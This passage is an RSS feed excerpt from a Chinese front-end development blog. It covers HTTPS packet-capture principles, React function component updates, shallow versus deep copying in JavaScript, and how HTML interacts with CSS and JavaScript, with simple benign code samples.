&lt;p&gt;在 http 标准中，没有对通信端身份验证的标准。对于服务器来说，它接收的 HTTP 请求报文只要格式符合规范，就发送响应报文。&lt;/p&gt;
&lt;p&gt;对于客户端来说也是如此，它无法校验服务器的身份，比如它连接的 &lt;code&gt;http://www.jecyu.com&lt;/code&gt; 的主机，但由于中间节点的存在，最终连接的可能是 &lt;code&gt;http://www.jerry.com&lt;/code&gt; 的主机。&lt;/p&gt;
&lt;p&gt;因此，对于 HTTP 抓包，无需做过多的处理，只需要让中间人负责转发客户端和服务端的数据包。&lt;/p&gt;
&lt;h4 id="https-抓包原理"&gt;HTTPS 抓包原理&lt;/h4&gt;
&lt;p&gt;HTTP 是明文传输，容易受到中间人攻击，不安全。&lt;/p&gt;
&lt;p&gt;HTTPS 语义仍然是 HTTP，只不过是在 HTTP 协议栈中 http 与 tcp 之间插入安全层 &lt;code&gt;SSL/TSL&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;安全层采用&lt;strong&gt;对称加密的方式加密传输数据和非对称加密的方式来传输对称密钥&lt;/strong&gt;，解决 http 数据没有加密、无法验证身份、数据容易纂改三个核心问题。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP + 加密 + 认证 + 完整性保护 = HTTPS&lt;/p&gt;</description></item><item><title>React函数组件更新</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-020/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-020/</guid><description>&lt;p&gt;React的函数组件（Function Components）自Hooks推出以来已成为React开发的主流方式。理解函数组件的更新原理对于编写高效、可维护的React应用至关重要。本文将深入探讨React函数组件的更新机制。&lt;/p&gt;
&lt;h2 id="一函数组件与类组件的本质区别"&gt;一、函数组件与类组件的本质区别&lt;/h2&gt;
&lt;p&gt;在深入更新原理前，我们需要明确函数组件与类组件的根本区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;类组件&lt;/strong&gt;：是类的实例，拥有实例属性和生命周期方法&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;函数组件&lt;/strong&gt;：是纯函数，接收props作为参数，返回JSX&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这种本质区别决定了它们的更新行为完全不同。&lt;/p&gt;
&lt;h2 id="二函数组件的执行机制"&gt;二、函数组件的执行机制&lt;/h2&gt;
&lt;p&gt;当React需要渲染一个函数组件时，它只是简单地&lt;strong&gt;调用这个函数&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-jsx" data-lang="jsx"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MyComponent&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;{&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;message&lt;/span&gt;}&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// React内部大致这样处理
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;element&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MyComponent&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;message&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Hello&amp;#39;&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;每次渲染都是&lt;strong&gt;全新的函数调用&lt;/strong&gt;，所有局部变量和函数都会重新创建。这与类组件形成鲜明对比，类组件在更新时会复用同一个实例。&lt;/p&gt;
&lt;h2 id="三触发更新的场景"&gt;三、触发更新的场景&lt;/h2&gt;
&lt;p&gt;函数组件的更新主要由以下情况触发：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;父组件重新渲染&lt;/strong&gt;：即使props未变化，父组件渲染也会导致子组件重新渲染&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;props发生变化&lt;/strong&gt;：当传入组件的props值改变时&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状态更新&lt;/strong&gt;：通过useState、useReducer等Hook更新状态&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;context变化&lt;/strong&gt;：组件订阅的context值发生变化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hooks依赖变化&lt;/strong&gt;：useEffect、useMemo等Hook的依赖项发生变化&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="四react的渲染流程"&gt;四、React的渲染流程&lt;/h2&gt;
&lt;p&gt;函数组件的更新遵循React的渲染流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;触发更新&lt;/strong&gt;：通过setState、父组件渲染等途径触发更新&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协调阶段（Reconciliation）&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;React调用函数组件获取新的JSX&lt;/li&gt;
&lt;li&gt;与上一次渲染的JSX进行对比（Virtual DOM Diff）&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;提交阶段（Commit）&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;将差异应用到真实DOM&lt;/li&gt;
&lt;li&gt;执行useLayoutEffect的回调&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="4"&gt;
&lt;li&gt;&lt;strong&gt;浏览器绘制&lt;/strong&gt;：浏览器重绘屏幕&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;副作用执行&lt;/strong&gt;：执行useEffect的回调&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="五hooks与组件更新"&gt;五、Hooks与组件更新&lt;/h2&gt;
&lt;p&gt;Hooks是函数组件能够拥有状态和生命周期的关键。理解Hooks的工作机制对理解组件更新至关重要。&lt;/p&gt;
&lt;h3 id="usestate的工作原理"&gt;useState的工作原理&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-jsx" data-lang="jsx"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; [&lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;setCount&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;useState&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;React会在组件首次渲染时为每个useState调用分配一个&amp;quot;状态单元&amp;quot;&lt;/li&gt;
&lt;li&gt;后续更新时，React会按照Hooks的调用顺序来提供对应的状态值&lt;/li&gt;
&lt;li&gt;setCount调用会触发组件的重新渲染&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="useeffect与更新"&gt;useEffect与更新&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-jsx" data-lang="jsx"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;useEffect&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 副作用代码
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 清理函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}, [&lt;span style="color:#a6e22e"&gt;dependencies&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;组件每次渲染后，React会比较依赖项数组&lt;/li&gt;
&lt;li&gt;如果依赖项变化或没有提供依赖项数组，副作用会重新执行&lt;/li&gt;
&lt;li&gt;清理函数会在副作用重新执行前或组件卸载时执行&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="六优化更新性能"&gt;六、优化更新性能&lt;/h2&gt;
&lt;p&gt;由于函数组件每次更新都会完整执行函数体，我们需要一些优化手段：&lt;/p&gt;</description></item><item><title>深拷贝/浅拷贝</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-020/</link><pubDate>Thu, 07 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-020/</guid><description>&lt;p&gt;浅拷贝和深拷贝都是对于JS中的引用类型而言的，浅拷贝就只是复制对象的引用，如果拷贝后的对象发生变化，原对象也会发生变化。只有深拷贝才是真正地对对象的拷贝。&lt;/p&gt;
&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;说到深浅拷贝，必须先提到的是JavaScript的数据类型，大家可以看前面的知识点，这里不多说了。&lt;/p&gt;
&lt;p&gt;初学前端的同学，需要知道的一点就是：JavaScript的数据类型分为基本数据类型和引用数据类型。&lt;/p&gt;
&lt;p&gt;对于基本数据类型的拷贝，并没有深浅拷贝的区别，我们所说的深浅拷贝都是对于引用数据类型而言的。&lt;/p&gt;
&lt;h2 id="浅拷贝"&gt;浅拷贝&lt;/h2&gt;
&lt;p&gt;浅拷贝的意思就是只复制引用，而未复制真正的值。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;originArray&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;originObj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;,&lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;,&lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;],&lt;span style="color:#a6e22e"&gt;d&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;dd&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;dd&amp;#39;&lt;/span&gt;}};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;cloneArray&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;originArray&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;cloneObj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;originObj&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;cloneArray&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// [1,2,3,4,5]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;originObj&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// {a:&amp;#39;a&amp;#39;,b:&amp;#39;b&amp;#39;,c:Array[3],d:{dd:&amp;#39;dd&amp;#39;}}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;cloneArray&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;cloneObj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {&lt;span style="color:#a6e22e"&gt;aa&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;aa&amp;#39;&lt;/span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;cloneArray&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// [1,2,3,4,5,6]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;originArray&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// [1,2,3,4,5,6]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;cloneObj&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// {a:{aa:&amp;#39;aa&amp;#39;},b:&amp;#39;b&amp;#39;,c:Array[3],d:{dd:&amp;#39;dd&amp;#39;}}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;originArray&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// {a:{aa:&amp;#39;aa&amp;#39;},b:&amp;#39;b&amp;#39;,c:Array[3],d:{dd:&amp;#39;dd&amp;#39;}}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的代码是最简单的利用 &lt;code&gt;=&lt;/code&gt; 赋值操作符实现了一个浅拷贝，可以很清楚的看到，随着 &lt;code&gt;cloneArray&lt;/code&gt; 和 &lt;code&gt;cloneObj&lt;/code&gt; 改变，&lt;code&gt;originArray&lt;/code&gt; 和 &lt;code&gt;originObj&lt;/code&gt; 也随着发生了变化。&lt;/p&gt;
&lt;h2 id="深拷贝"&gt;深拷贝&lt;/h2&gt;
&lt;p&gt;深拷贝就是对目标的完全拷贝，不像浅拷贝那样只是复制了一层引用，就连值也都复制了。&lt;/p&gt;
&lt;p&gt;只要进行了深拷贝，它们老死不相往来，谁也不会影响谁。&lt;/p&gt;
&lt;p&gt;目前实现深拷贝的方法不多，主要是两种：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;利用 &lt;code&gt;JSON&lt;/code&gt; 对象中的 &lt;code&gt;parse&lt;/code&gt; 和 &lt;code&gt;stringify&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;利用递归来实现每一层都重新创建对象并赋值&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="jsonstringifyparse的方法"&gt;JSON.stringify/parse的方法&lt;/h3&gt;
&lt;p&gt;先看看这两个方法吧：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The JSON.stringify() method converts a JavaScript value to a JSON string.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;JSON.stringify&lt;/code&gt; 是将一个 &lt;code&gt;JavaScript&lt;/code&gt; 值转成一个 &lt;code&gt;JSON&lt;/code&gt; 字符串。&lt;/p&gt;</description></item><item><title>与 CSS/JS 的交互</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-020/</link><pubDate>Thu, 17 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-020/</guid><description>&lt;p&gt;HTML、CSS 和 JavaScript 是前端开发的三大基础技术，它们通过不同的方式相互作用，创建交互性良好的网页。&lt;/p&gt;
&lt;h3 id="1-html-与-css-的交互"&gt;1. &lt;strong&gt;HTML 与 CSS 的交互&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;HTML 负责定义网页的结构，而 CSS 则负责美化这些结构元素。两者的交互主要通过以下方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; 标签&lt;/strong&gt;：直接在 HTML 中嵌入 CSS 样式。 这种方式将 CSS 写入到 HTML 文件中，但不推荐用于大型项目，因为这会导致样式与结构混杂在一起。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;h1&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; 标签&lt;/strong&gt;：通过 &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; 标签引入外部 CSS 文件。 这种方式通常用于大型项目中，将样式与结构分离，维护更加清晰。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;stylesheet&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;styles.css&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内联样式&lt;/strong&gt;：直接将样式属性写在 HTML 标签内。 这种方式适合临时的小改动，但不推荐频繁使用，尤其在大型项目中不利于维护。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;h1&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;color: blue;&amp;#34;&lt;/span&gt;&amp;gt;这是一个标题&amp;lt;/&lt;span style="color:#f92672"&gt;h1&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-html-与-javascript-的交互"&gt;2. &lt;strong&gt;HTML 与 JavaScript 的交互&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;JavaScript 负责操作和控制网页内容，主要与 HTML 进行交互以实现动态效果。以下是交互方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 标签&lt;/strong&gt;：通过 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 标签直接在 HTML 中嵌入 JavaScript 代码。 此方法会在 HTML 中直接执行 JavaScript，适合小规模的脚本。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;这是一个弹窗&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;外部 JavaScript 文件&lt;/strong&gt;：通过 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 标签引入外部 JavaScript 文件。 这种方式将 JavaScript 逻辑与 HTML 分离，便于维护和重用。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;script.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DOM 操作&lt;/strong&gt;：通过 JavaScript 操作 DOM（文档对象模型），动态更改 HTML 元素的内容和属性。例如：&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;&amp;gt;这是原始文本&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;text&amp;#39;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;innerText&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;这是通过 JS 改变的文本&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;事件监听&lt;/strong&gt;：JavaScript 可以通过事件监听器响应用户的交互。例如：&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;btn&amp;#34;&lt;/span&gt;&amp;gt;点击我&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
